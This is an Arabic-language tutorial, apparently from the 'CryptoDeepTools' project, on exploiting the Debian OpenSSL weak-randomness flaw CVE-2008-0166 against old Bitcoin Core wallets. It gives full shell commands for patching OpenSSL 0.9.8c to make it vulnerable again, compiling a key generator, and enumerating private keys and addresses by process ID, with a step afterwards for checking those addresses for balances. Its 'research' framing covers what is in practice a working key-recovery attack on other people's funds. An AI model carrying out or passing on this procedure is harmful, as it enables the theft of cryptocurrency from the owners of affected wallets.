
ابحث عن عملات BTC على الإصدارات الأقدم من Bitcoin Core التي تحتوي على الثغرة الحرجة OpenSSL 0.9.8 CVE-2008-0166
في هذه المقالة، سنقوم بإنشاء أداة لتوليد عناوين البيتكوين (P2PKH) باستخدام ثغرة CVE-2008-0166. هذا مشروع بحثي للعثور على عملات BTC في الإصدارات الأقدم من العميل البرمجي Bitcoin Core.
مولّد الأرقام العشوائية الذي يولّد أرقامًا قابلة للتنبؤ CVE-2008-0166
تم اكتشاف VAIM-OpenSSL 0.9.8/1.0.0
كان إصدار الثغرة الحرجة OpenSSL 0.9.8 CVE-2008-0166 يُعبَّأ بمعرّف العملية فقط. بسبب الاختلافات بين endianness وsizeof(long)، يكون المخرَج معتمدًا على البنية: 32 -بت big endian (على سبيل المثال، i386)، 64 -بت big endian (على سبيل المثال، amd64, ia64)، 32 -بت big endian (على سبيل المثال، powerpc , sparc). PID 0 هو النواة، ولا يتم الوصول إلى PID_MAX ( ) عبر النقل (porting)، لذلك كان هناك تدفقًا ممكنًا للأرقام العشوائية لكل بنية.

يستخدم العميل البرمجي Bitcoin Core مكتبة OpenSSL. وتحديدًا، يستخدم دالة «EC_KEY_generate_key()» لتوليد عناوين البيتكوين (كمفتاح) لاستلام المدفوعات. تقوم الإصدارات القديمة من Bitcoin Core بتوليد وتخزين 100 مفتاح في wallet.dat
يتم توليد مفتاح جديد فقط عند استلام دفعة بيتكوين. وبالتالي، يحتفظ العميل البرمجي Bitcoin Core بمجموعة من 100 مفتاح بيتكوين غير مستخدم (عناوين) . تعتمد حالة مولّد الأرقام العشوائية الداخلي على الاستدعاءات الأخرى التي تم إجراؤها لمكتبة OpenSSL قبل الاستدعاء 'EC_KEY_generate_key()' . الاستدعاءات التي تؤثر على الحالة الداخلية لمولّد الأرقام العشوائية: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
لذا كان البحث يتمثل في الاطلاع على الكثير من مصادر البيتكوين القديمة لمعرفة الاستدعاءات التي تم إجراؤها والتي أثرت على الحالة الداخلية لمولّد الأرقام العشوائية قبل الاستدعاء «EC_KEY_generate_key()». يتغير مسار الاستدعاء بين إصدارات العميل البرمجي Bitcoin Core
ركزت الدراسة على الإصدارات التالية:

هدفنا هو توليد مفاتيح خاصة لكل إصدار من العميل البرمجي Bitcoin Core، ولكل بنية (le32/le64)، ولكل معرّف عملية، ولعناوين البيتكوين (P2PKH)، باستخدام رقم عشوائي من الثغرة الحرجة. OpenSSL 0.9.8.
في النهاية، سنقوم بإنشاء مولّد عناوين بيتكوين (P2PKH) وسيتم حفظ كل شيء في ملف result.txt

لهذا سنستخدم توزيعة «Ubuntu 18.04.5 LTS» من Google Colab

قمنا سابقًا بتسجيل تعليمات فيديو : «TERMINAL في Google Colab ينشئ جميع وسائل الراحة للعمل في GITHUB»
افتح Google Colab في Terminal [TerminalGoogleColab]
لنشغّل الأمر:
cat /etc/lsb-release
لننتقل إلى المستودع «CryptoDeepTools» ونلقي نظرة على التفاصيل
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

قم بالتحديث والتثبيت g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

من أجل جعل OpenSSL ضعيفًا مرة أخرى كما في CVE-2008-0166
قم بتنزيل openssl-0.9.8c.tar.gz وتطبيق الرقع على ملفات النظام
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

سيتم حفظ كل شيء في وحدة التخزين Google Drive كملف نصي result.txt


بعد ذلك، يتبقى التحقق من جميع عناوين البيتكوين المولّدة للتأكد من وجود عملات BTC فيها، ولهذا يمكننا استخدام النص البرمجي Python : bitcoin-checker.py
الفيديو: https://youtu.be/zHkXups2I8k
| عنوان التبرع | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |